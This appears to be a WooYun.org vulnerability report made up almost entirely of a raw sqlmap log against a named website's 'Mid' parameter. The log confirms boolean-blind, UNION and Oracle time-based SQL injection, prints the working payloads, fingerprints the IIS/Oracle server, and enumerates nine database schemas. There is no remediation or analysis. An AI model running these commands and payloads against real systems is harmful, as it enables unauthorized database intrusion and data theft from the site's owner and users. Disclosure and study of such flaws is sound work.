WooYun.org

[root@Hacker~]# Sqlmap Sqlmap -u "http://www.cae.com.cn/webfunction/tpc/TPC_Index.aspx?Mid=d4c3636453364b3c828eee8f8bc3caf5" --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to
[*] starting at 11:34:41
[11:34:41] [INFO] testing connection to the target URL
[11:34:42] [INFO] testing if the target URL is stable. This can take a couple of seconds
[11:34:44] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable para
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[11:34:44] [INFO] testing if GET parameter 'Mid' is dynamic
[11:34:44] [INFO] confirming that GET parameter 'Mid' is dynamic
[11:34:45] [INFO] GET parameter 'Mid' is dynamic
[11:34:46] [WARNING] heuristic (basic) test shows that GET parameter 'Mid' might not be injectable
[11:34:46] [INFO] testing for SQL injection on GET parameter 'Mid'
[11:34:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:34:47] [WARNING] reflective value(s) found and filtering out
[11:34:52] [INFO] GET parameter 'Mid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[11:34:58] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Oracle'
do you want to include all tests for 'Oracle' extending provided level (1) and risk (1)? [Y/n] y
[11:35:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[11:35:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[11:35:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[11:35:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[11:35:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[11:35:07] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[11:35:08] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'
[11:35:09] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[11:35:10] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[11:35:11] [INFO] testing 'Oracle error-based - Parameter replace'
[11:35:11] [INFO] testing 'MySQL inline queries'
[11:35:11] [INFO] testing 'PostgreSQL inline queries'
[11:35:11] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[11:35:11] [INFO] testing 'Oracle inline queries'
[11:35:11] [INFO] testing 'SQLite inline queries'
[11:35:11] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[11:35:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[11:35:12] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[11:35:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'
[11:35:13] [INFO] testing 'Oracle stacked queries (heavy query)'
[11:35:14] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'
[11:35:14] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'
[11:35:15] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[11:35:16] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[11:35:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[11:35:17] [INFO] testing 'Oracle AND time-based blind'
[11:35:18] [INFO] testing 'Oracle AND time-based blind (comment)'
[11:35:18] [INFO] testing 'Oracle AND time-based blind (heavy query)'
[11:35:49] [INFO] GET parameter 'Mid' is 'Oracle AND time-based blind (heavy query)' injectable
[11:35:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:35:49] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) techni
[11:35:51] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Autom
[11:35:55] [INFO] target URL appears to have 11 columns in query
[11:36:04] [INFO] GET parameter 'Mid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'Mid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 63 HTTP(s) requests:
---
Place: GET
Parameter: Mid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Mid=d4c3636453364b3c828eee8f8bc3caf5' AND 2232=2232 AND 'Btil'='Btil
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: Mid=-2306' UNION ALL SELECT NULL,CHR(113)||CHR(121)||CHR(118)||CHR(110)||CHR(113)||CHR(108)||CHR(110)||CHR(66)||CHR(66)||CHR(11
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind (heavy query)
    Payload: Mid=d4c3636453364b3c828eee8f8bc3caf5' AND 6114=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_US
---
[11:36:36] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
[11:36:36] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[11:36:36] [INFO] fetching database (schema) names
[11:36:37] [INFO] the SQL query used returns 9 entries
[11:36:38] [INFO] retrieved: "CAE"
[11:36:39] [INFO] retrieved: "CTXSYS"
[11:36:40] [INFO] retrieved: "DMSYS"
[11:36:41] [INFO] retrieved: "MDSYS"
[11:36:42] [INFO] retrieved: "OLAPSYS"
[11:36:43] [INFO] retrieved: "SYS"
[11:36:44] [INFO] retrieved: "SYSTEM"
[11:36:44] [INFO] retrieved: "WKSYS"
[11:36:45] [INFO] retrieved: "WMSYS"
available databases [9]:
[*] CAE
[*] CTXSYS
[*] DMSYS
[*] MDSYS
[*] OLAPSYS
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[11:36:46] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unh
[11:36:46] [INFO] fetched data logged to text files under 'F:\????\INJECT~1\SQLMAP~1.4\Bin\output\www.cae.com.cn'